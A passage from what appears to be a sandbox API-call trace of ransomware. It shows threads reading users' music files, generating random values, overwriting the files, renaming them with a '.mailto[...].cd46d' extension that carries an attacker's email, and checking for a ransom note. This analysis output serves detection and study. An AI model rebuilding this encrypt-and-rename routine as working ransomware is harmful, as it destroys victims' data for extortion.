Seed=0xe9cfdf4) returned 0x739126eb [0049.974] RtlRandomEx (in: Seed=0xe9cfdf4 | out: Seed=0xe9cfdf4) returned 0xe8a9a7f [0049.974] RtlRandomEx (in: Seed=0xe9cfdf4 | out: Seed=0xe9cfdf4) returned 0x75dbfee4 [0049.974] RtlRandomEx (in: Seed=0xe9cfdf4 | out: Seed=0xe9cfdf4) returned 0x3d7d9ef8 [0049.974] RtlRandomEx (in: Seed=0xe9cfdf4 | out: Seed=0xe9cfdf4) returned 0x5e0b9a4b [0049.974] RtlRandomEx (in: Seed=0xe9cfdf4 | out: Seed=0xe9cfdf4) returned 0x277a748 [0049.974] RtlRandomEx (in: Seed=0xe9cfdf4 | out: Seed=0xe9cfdf4) returned 0x22b90374 [0049.974] RtlRandomEx (in: Seed=0xe9cfdf4 | out: Seed=0xe9cfdf4) returned 0x42ec737f [0049.974] RtlRandomEx (in: Seed=0xe9cfdf4 | out: Seed=0xe9cfdf4) returned 0x6c828d64 [0049.974] RtlRandomEx (in: Seed=0xe9cfdf4 | out: Seed=0xe9cfdf4) returned 0x3cde7357 [0049.974] RtlRandomEx (in: Seed=0xe9cfdf4 | out: Seed=0xe9cfdf4) returned 0x64da212 [0049.974] RtlRandomEx (in: Seed=0xe9cfdf4 | out: Seed=0xe9cfdf4) returned 0x32144f20 [0049.974] RtlRandomEx (in: Seed=0xe9cfdf4 | out: Seed=0xe9cfdf4) returned 0x4211ce51 [0049.974] RtlRandomEx (in: Seed=0xe9cfdf4 | out: Seed=0xe9cfdf4) returned 0x2dd77f37 [0049.974] RtlRandomEx (in: Seed=0xe9cfdf4 | out: Seed=0xe9cfdf4) returned 0x5fcb432d [0049.974] RtlRandomEx (in: Seed=0xe9cfdf4 | out: Seed=0xe9cfdf4) returned 0x24c7098f [0049.974] RtlRandomEx (in: Seed=0xe9cfdf4 | out: Seed=0xe9cfdf4) returned 0x1744f102 [0049.974] RtlRandomEx (in: Seed=0xe9cfdf4 | out: Seed=0xe9cfdf4) returned 0x37252d06 [0049.974] RtlRandomEx (in: Seed=0xe9cfdf4 | out: Seed=0xe9cfdf4) returned 0x58a6a170 [0049.974] RtlRandomEx (in: Seed=0xe9cfdf4 | out: Seed=0xe9cfdf4) returned 0x5ad8423b [0049.974] RtlRandomEx (in: Seed=0xe9cfdf4 | out: Seed=0xe9cfdf4) returned 0x3052b74b [0049.974] RtlRandomEx (in: Seed=0xe9cfdf4 | out: Seed=0xe9cfdf4) returned 0x3d6c24b0 [0049.985] SetFilePointerEx (in: hFile=0xaec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0049.985] ReadFile (in: hFile=0xaec, lpBuffer=0x976c850, nNumberOfBytesToRead=0xc800, lpNumberOfBytesRead=0xe9cfdc8, lpOverlapped=0x0 | out: lpBuffer=0x976c850*, lpNumberOfBytesRead=0xe9cfdc8*=0xc800, lpOverlapped=0x0) returned 1 [0049.986] SetFilePointerEx (in: hFile=0xaec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0049.986] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x40) returned 0x402888 [0049.986] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x70) returned 0x43a510 [0049.986] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x4edd40 [0049.986] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x4edd40) returned 1 [0049.987] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0xc800) returned 0x9779058 [0049.990] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x4edd40 [0049.990] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x4edde0 [0049.990] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x4edde0) returned 1 [0049.990] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x43a510) returned 1 [0049.990] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x402888) returned 1 [0049.990] WriteFile (in: hFile=0xaec, lpBuffer=0x9779058*, nNumberOfBytesToWrite=0xc800, lpNumberOfBytesWritten=0xe9cfdc8, lpOverlapped=0x0 | out: lpBuffer=0x9779058*, lpNumberOfBytesWritten=0xe9cfdc8*=0xc800, lpOverlapped=0x0) returned 1 [0053.239] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x9779058) returned 1 [0053.239] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x976c850) returned 1 [0053.239] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x27) returned 0x4088c0 [0053.240] SetFilePointerEx (in: hFile=0xaec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0053.240] WriteFile (in: hFile=0xaec, lpBuffer=0x4419b0*, nNumberOfBytesToWrite=0x10b, lpNumberOfBytesWritten=0xe9cfe48, lpOverlapped=0x0 | out: lpBuffer=0x4419b0*, lpNumberOfBytesWritten=0xe9cfe48*=0x10b, lpOverlapped=0x0) returned 1 [0053.522] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x4419b0) returned 1 [0053.522] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x97ce0a0) returned 1 [0053.522] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x4416e0) returned 1 [0053.522] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x4088c0) returned 1 [0053.522] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x4edd40) returned 1 [0053.522] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x4eddb8) returned 1 [0053.522] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x4ede08) returned 1 [0053.522] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x4ede30) returned 1 [0053.522] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0xba) returned 0x12d09f20 [0053.522] wcscpy (in: _Dest=0x12d09f20, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\cIu6mK\\GAoxXstt8.mp3" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\cIu6mK\\GAoxXstt8.mp3") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\cIu6mK\\GAoxXstt8.mp3" [0053.522] wcscat (in: _Dest=0x12d09f20, _Source=".mailto[2Hamlampampom@cock.li].cd46d" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\cIu6mK\\GAoxXstt8.mp3.mailto[2Hamlampampom@cock.li].cd46d") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\cIu6mK\\GAoxXstt8.mp3.mailto[2Hamlampampom@cock.li].cd46d" [0053.522] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\cIu6mK\\GAoxXstt8.mp3.mailto[2Hamlampampom@cock.li].cd46d", NtPathName=0xe9cfe00, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\cIu6mK\\GAoxXstt8.mp3.mailto[2Hamlampampom@cock.li].cd46d", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0053.522] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0xd0) returned 0x40d100 [0053.680] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x40d100) returned 1 [0053.680] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x49d8a0) returned 1 [0053.680] NtQueryInformationFile (in: FileHandle=0xaec, IoStatusBlock=0xe9cfe0c, FileInformation=0xe9cfde4, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0xe9cfe0c, FileInformation=0xe9cfde4) returned 0x0 [0053.680] NtSetInformationFile (FileHandle=0xaec, IoStatusBlock=0xe9cfe0c, FileInformation=0xe9cfde4, Length=0x28, FileInformationClass=0x4) returned 0x0 [0053.681] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x12d09f20) returned 1 [0053.681] FlushFileBuffers (hFile=0xaec) returned 1 [0053.689] CloseHandle (hObject=0xaec) returned 1 [0053.695] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x7a) returned 0x96f8cc8 [0053.695] wcscpy (in: _Dest=0x96f8cc8, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\cIu6mK\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\cIu6mK\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\cIu6mK\\" [0053.695] wcscat (in: _Dest=0x96f8cc8, _Source="CD46D-Readme.txt" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\cIu6mK\\CD46D-Readme.txt") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\cIu6mK\\CD46D-Readme.txt" [0053.695] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\cIu6mK\\CD46D-Readme.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\ciu6mk\\cd46d-readme.txt")) returned 0x20 [0054.039] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x96f8cc8) returned 1 [0054.039] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x45ea38) returned 1 Thread: id = 598 os_tid = 0x834 [0049.991] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\cIu6mK\\jlYuA07Zx.m4a" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\ciu6mk\\jlyua07zx.m4a")) returned 0x20 [0049.991] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\cIu6mK\\jlYuA07Zx.m4a", dwFileAttributes=0x20) returned 1 [0049.991] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\cIu6mK\\jlYuA07Zx.m4a" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\ciu6mk\\jlyua07zx.m4a"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xaf0 [0049.991] GetFileSizeEx (in: hFile=0xaf0, lpFileSize=0xeaefea0 | out: lpFileSize=0xeaefea0*=67325) returned 1 [0049.991] SetFilePointerEx (in: hFile=0xaf0, liDistanceToMove=0x106f9, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0049.991] ReadFile (in: hFile=0xaf0, lpBuffer=0xeaefe24, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0xeaefe20, lpOverlapped=0x0 | out: lpBuffer=0xeaefe24*, lpNumberOfBytesRead=0xeaefe20*=0x4, lpOverlapped=0x0) returned 1 [0049.992] SetFilePointerEx (in: hFile=0xaf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0049.992] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x4edde0 [0049.992] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x4ede58 [0049.992] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x4ede80 [0049.992] NtQuerySystemTime (in: CurrentTime=0xeaefe00 | out: CurrentTime=0xeaefe00*=132174898139748000) returned 0x0 [0049.992] RtlRandomEx (in: Seed=0xeaefe0c | out: Seed=0xeaefe0c) returned 0x5d270d9c [0049.992] RtlRandomEx (in: Seed=0xeaefe0c | out: Seed=0xeaefe0c) returned 0x13fe43fe [0049.992] RtlRandomEx (in: Seed=0xeaefe0c | out: Seed=0xeaefe0c) returned 0x1a5825ea [0049.992] RtlRandomEx (in: Seed=0xeaefe0c | out: Seed=0xeaefe0c) returned 0x7101d1de [0049.992] RtlRandomEx (in: Seed=0xeaefe0c | out: Seed=0xeaefe0c) returned 0x7d9d5572 [0049.992] RtlRandomEx (in: Seed=0xeaefe0c | out: Seed=0xeaefe0c) returned 0x32bc2f98 [0049.992] RtlRandomEx (in: Seed=0xeaefe0c | out: Seed=0xeaefe0c) returned 0x21315b5e [0049.992] RtlRandomEx (in: Seed=0xeaefe0c | out: Seed=0xeaefe0c) returned 0x362c40dc [0049.992] RtlRandomEx (in: Seed=0xeaefe0c | out: Seed=0xeaefe0c) returned 0x5e42eb18 [0049.992] RtlRandomEx (in: Seed=0xeaefe0c | out: Seed=0xeaefe0c) returned 0xbe81d55 [0049.992] RtlRandomEx (in: Seed=0xeaefe0c | out: Seed=0xeaefe0c) returned 0x4c188e5d [0049.992] RtlRandomEx (in: Seed=0xeaefe0c | out: Seed=0xeaefe0c) returned 0x45701fdf [0049.992] RtlRandomEx (in: Seed=0xeaefe0c | out: Seed=0xeaefe0c) returned 0x3bf63a74 [0049.992] RtlRandomEx (in: Seed=0xeaefe0c | out: Seed=0xeaefe0c) returned 0x6a087b64 [0049.992] RtlRandomEx (in: Seed=0xeaefe0c | out: Seed=0xeaefe0c) returned 0x4b0d001f [0049.992] RtlRandomEx (in: Seed=0xeaefe0c | out: Seed=0xeaefe0c) returned 0x656d3e57 [0049.992] RtlRandomEx (in: Seed=0xeaefe0c | out: Seed=0xeaefe0c) returned 0x4d918e02 [0049.992] RtlRandomEx (in: Seed=0xeaefe0c | out: Seed=0xeaefe0c) returned 0x2aeffdae [0049.993] RtlRandomEx (in: Seed=0xeaefe0c | out: Seed=0xeaefe0c) returned 0x57900066 [0049.993] RtlRandomEx (in: Seed=0xeaefe0c | out: Seed=0xeaefe0c) returned 0x4dce11a6 [0049.993] RtlRandomEx (in: Seed=0xeaefe0c | out: Seed=0xeaefe0c) returned 0x1da99b78 [0049.993] RtlRandomEx (in: Seed=0xeaefe0c | out: Seed=0xeaefe0c) returned 0x61e85ae7 [0049.993] RtlRandomEx (in: Seed=0xeaefe0c | out: Seed=0xeaefe0c) returned 0x1eab0d52 [0049.993] RtlRandomEx (in: Seed=0xeaefe0c | out: Seed=0xeaefe0c) returned 0x7fbc9226 [0049.993] RtlRandomEx (in: Seed=0xeaefe0c | out: Seed=0xeaefe0c) returned 0x1b26d627 [0049.993] RtlRandomEx (in: Seed=0xeaefe0c | out: Seed=0xeaefe0c) returned 0x7c2c682a [0049.993] RtlRandomEx (in: Seed=0xeaefe0c | out: Seed=0xeaefe0c) returned 0xd6d221a [0049.993] RtlRandomEx (in: Seed=0xeaefe0c | out: Seed=0xeaefe0c) returned 0x52f75c95 [0049.993] RtlRandomEx (in: Seed=0xeaefe0c | out: Seed=0xeaefe0c) returned 0x6cf99377 [0049.993] RtlRandomEx (in: Seed=0xeaefe0c | out: Seed=0xeaefe0c) returned 0x7855cbfc [0049.993] RtlRandomEx (in: Seed=0xeaefe0c | out: Seed=0xeaefe0c) returned 0x10b95e66 [0049.993] RtlRandomEx (in: Seed=0xeaefe0c | out: Seed=0xeaefe0c) returned 0x29adefc8 [0050.004] SetFilePointerEx (in: hFile=0xaf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0050.004] ReadFile (in: hFile=0xaf0, lpBuffer=0x9785860, nNumberOfBytesToRead=0xc800, lpNumberOfBytesRead=0xeaefde0, lpOverlapped=0x0 | out: lpBuffer=0x9785860*, lpNumberOfBytesRead=0xeaefde0*=0xc800, lpOverlapped=0x0) returned 1 [0050.005] SetFilePointerEx (in: hFile=0xaf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0050.005] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x40) returned 0x402888 [0050.005] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x70) returned 0x43a510 [0050.005] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x4edde0 [0050.005] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x4edde0) returned 1 [0050.006] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0xc800) returned 0x9792068 [0050.008] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x4edde0 [0050.008] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x4ede80 [0050.008] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x4ede80) returned 1 [0050.008] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x43a510) returned 1 [0050.008] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x402888) returned 1 [0050.008] WriteFile (in: hFile=0xaf0, lpBuffer=0x9792068*, nNumberOfBytesToWrite=0xc800, lpNumberOfBytesWritten=0xeaefde0, lpOverlapped=0x0 | out: lpBuffer=0x9792068*, lpNumberOfBytesWritten=0xeaefde0*=0xc800, lpOverlapped=0x0) returned 1 [0053.241] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x9792068) returned 1 [0053.241] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x9785860) returned 1 [0053.241] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x27) returned 0x97ce0d0 [0053.241] SetFilePointerEx (in: hFile=0xaf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0053.241] WriteFile (in: hFile=0xaf0, lpBuffer=0x441ac8*, nNumberOfBytesToWrite=0x10b, lpNumberOfBytesWritten=0xeaefe60, lpOverlapped=0x0 | out: lpBuffer=0x441ac8*, lpNumberOfBytesWritten=0xeaefe60*=0x10b, lpOverlapped=0x0) returned 1 [0053.523] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x441ac8) returned 1 [0053.523] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x97ce100) returned 1 [0053.523] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x441730) returned 1 [0053.523] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x97ce0d0) returned 1 [0053.523] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x4edde0) returned 1 [0053.523] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x4ede58) returned 1 [0053.523] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x4edea8) returned 1 [0053.523] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x4eded0) returned 1 [0053.523] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0xba) returned 0x97cff20 [0053.523] wcscpy (in: _Dest=0x97cff20, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\cIu6mK\\jlYuA07Zx.m4a" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\cIu6mK\\jlYuA07Zx.m4a") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\cIu6mK\\jlYuA07Zx.m4a" [0053.523] wcscat (in: _Dest=0x97cff20, _Source=".mailto[2Hamlampampom@cock.li].cd46d" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\cIu6mK\\jlYuA07Zx.m4a.mailto[2Hamlampampom@cock.li].cd46d") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\cIu6mK\\jlYuA07Zx.m4a.mailto[2Hamlampampom@cock.li].cd46d" [0053.523] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\cIu6mK\\jlYuA07Zx.m4a.mailto[2Hamlampampom@cock.li].cd46d", NtPathName=0xeaefe18, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\cIu6mK\\jlYuA07Zx.m4a.mailto[2Hamlampampom@cock.li].cd46d", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0053.524] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0xd0) returned 0x40d1d8 [0053.682] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x40d1d8) returned 1 [0053.682] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x49dac8) returned 1 [0053.682] NtQueryInformationFile (in: FileHandle=0xaf0, IoStatusBlock=0xeaefe24, FileInformation=0xeaefdfc, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0xeaefe24, FileInformation=0xeaefdfc) returned 0x0 [0053.683] NtSetInformationFile (FileHandle=0xaf0, IoStatusBlock=0xeaefe24, FileInformation=0xeaefdfc, Length=0x28, FileInformationClass=0x4) returned 0x0 [0053.688] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x97cff20) returned 1 [0053.688] FlushFileBuffers (hFile=0xaf0) returned 1 [0053.695] CloseHandle (hObject=0xaf0) returned 1 [0053.698] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x7a) returned 0x96f8d50 [0053.698] wcscpy (in: _Dest=0x96f8d50, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\cIu6mK\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\cIu6mK\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\cIu6mK\\" [0053.698] wcscat (in: _Dest=0x96f8d50, _Source="CD46D-Readme.txt" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\cIu6mK\\CD46D-Readme.txt") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\cIu6mK\\CD46D-Readme.txt" [0053.699] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\cIu6mK\\CD46D-Readme.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\ciu6mk\\cd46d-readme.txt")) returned 0x20 [0054.040] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x96f8d50) returned 1 [0054.040] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x45eab8) returned 1 Thread: id = 599 os_tid = 0x83c [0050.009] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\cIu6mK\\KMbG1QRB8_i6.m4a" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\ciu6mk\\kmbg1qrb8_i6.m4a")) returned 0x20 [0050.009] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\cIu6mK\\KMbG1QRB8_i6.m4a", dwFileAttributes=0x20) returned 1 [0050.009] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\cIu6mK\\KMbG1QRB8_i6.m4a" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\ciu6mk\\kmbg1qrb8_i6.m4a"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xaf4 [0050.009] GetFileSizeEx (in: hFile=0xaf4, lpFileSize=0xebdfed4 | out: lpFileSize=0xebdfed4*=2139) returned 1 [0050.009] SetFilePointerEx (in: hFile=0xaf4, liDistanceToMove=0x857, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0050.009] ReadFile (in: hFile=0xaf4, lpBuffer=0xebdfe58, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0xebdfe54, lpOverlapped=0x0 | out: lpBuffer=0xebdfe58*, lpNumberOfBytesRead=0xebdfe54*=0x4, lpOverlapped=0x0) returned 1 [0050.010] SetFilePointerEx (in: hFile=0xaf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0050.010] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x4ede80 [0050.010] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x4edef8 [0050.010] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x4edf20 [0050.010] NtQuerySystemTime (in: CurrentTime=0xebdfe34 | out: CurrentTime=0xebdfe34*=132174898139904000) returned 0x0 [0050.010] RtlRandomEx (in: Seed=0xebdfe40 | out: Seed=0xebdfe40) returned 0x33b6634c [0050.010] RtlRandomEx (in: Seed=0xebdfe40 | out: Seed=0xebdfe40) returned 0x4c96301c [0050.010] RtlRandomEx (in: Seed=0xebdfe40 | out: Seed=0xebdfe40) returned 0x158fda84 [0050.010] RtlRandomEx (in: Seed=0xebdfe40 | out: Seed=0xebdfe40) returned 0x632f2670 [0050.010] RtlRandomEx (in: Seed=0xebdfe40 | out: Seed=0xebdfe40) returned 0x1f62d550 [0050.010] RtlRandomEx (in: Seed=0xebdfe40 | out: Seed=0xebdfe40) returned 0x48afe393 [0050.010] RtlRandomEx (in: Seed=0xebdfe40 | out: Seed=0xebdfe40) returned 0x49763c7d [0050.010] RtlRandomEx (in: Seed=0xebdfe40 | out: Seed=0xebdfe40) returned 0x2ad95410 [0050.010] RtlRandomEx (in: Seed=0xebdfe40 | out: Seed=0xebdfe40) returned 0x402ee586 [0050.010] RtlRandomEx (in: Seed=0xebdfe40 | out: Seed=0xebdfe40) returned 0x5678c12e [0050.010] RtlRandomEx (in: Seed=0xebdfe40 | out: Seed=0xebdfe40) returned 0xaa80fae [0050.011] RtlRandomEx (in: Seed=0xebdfe40 | out: Seed=0xebdfe40) returned 0x2803e15b [0050.011] RtlRandomEx (in: Seed=0xebdfe40 | out: Seed=0xebdfe40) returned 0x6ec4a70c [0050.011] RtlRandomEx (in: Seed=0xebdfe40 | out: Seed=0xebdfe40) returned 0x2a9b7d3e [0050.011] RtlRandomEx (in: Seed=0xebdfe40 | out: Seed=0xebdfe40) returned 0x73410abe [0050.011] RtlRandomEx (in: Seed=0xebdfe40 | out: Seed=0xebdfe40) returned 0x7573e478 [0050.011] RtlRandomEx (in: Seed=0xebdfe40 | out: Seed=0xebdfe40) returned 0x69f7dd67 [0050.011] RtlRandomEx (in: Seed=0xebdfe40 | out: Seed=0xebdfe40) returned 0x17e0f2ee [0050.011] RtlRandomEx (in: Seed=0xebdfe40 | out: Seed=0xebdfe40) returned 0x73d7db63 [0050.011] RtlRandomEx (in: Seed=0xebdfe40 | out: Seed=0xebdfe40) returned 0x7107b3fe [0050.011] RtlRandomEx (in: Seed=0xebdfe40 | out: Seed=0xebdfe40) returned 0x5a194f4b [0050.011] RtlRandomEx (in: Seed=0xebdfe40 | out: Seed=0xebdfe40) returned 0x2d98ed2e [0050.011] RtlRandomEx (in: Seed=0xebdfe40 | out: Seed=0xebdfe40) returned 0x6b826a7b [0050.011] RtlRandomEx (in: Seed=0xebdfe40 | out: Seed=0xebdfe40) returned 0x6b40ac2e [0050.011] RtlRandomEx (in: Seed=0xebdfe40 | out: Seed=0xebdfe40) returned 0x6928824f [0050.011] RtlRandomEx (in: Seed=0xebdfe40 | out: Seed=0xebdfe40) returned 0x6bdea7ab [0050.011] RtlRandomEx (in: Seed=0xebdfe40 | out: Seed=0xebdfe40) returned 0x259081a5 [0050.011] RtlRandomEx (in: Seed=0xebdfe40 | out: Seed=0xebdfe40) returned 0x2a994240 [0050.011] RtlRandomEx (in: Seed=0xebdfe40 | out: Seed=0xebdfe40) returned 0x73c6bf89 [0050.011] RtlRandomEx (in: Seed=0xebdfe40 | out: Seed=0xebdfe40) returned 0x32ee2f4f [0050.011] RtlRandomEx (in: Seed=0xebdfe40 | out: Seed=0xebdfe40) returned 0x307a74b [0050.011] RtlRandomEx (in: Seed=0xebdfe40 | out: Seed=0xebdfe40) returned 0x2200dcda [0050.023] ReadFile (in: hFile=0xaf4, lpBuffer=0x979e870, nNumberOfBytesToRead=0x85b, lpNumberOfBytesRead=0xebdfe30, lpOverlapped=0x0 | out: lpBuffer=0x979e870*, lpNumberOfBytesRead=0xebdfe30*=0x85b, lpOverlapped=0x0) returned 1 [0050.023] SetFilePointerEx (in: hFile=0xaf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0050.023] WriteFile (in: hFile=0xaf4, lpBuffer=0x97ab078*, nNumberOfBytesToWrite=0x85b, lpNumberOfBytesWritten=0xebdfe2c, lpOverlapped=0x0 | out: lpBuffer=0x97ab078*, 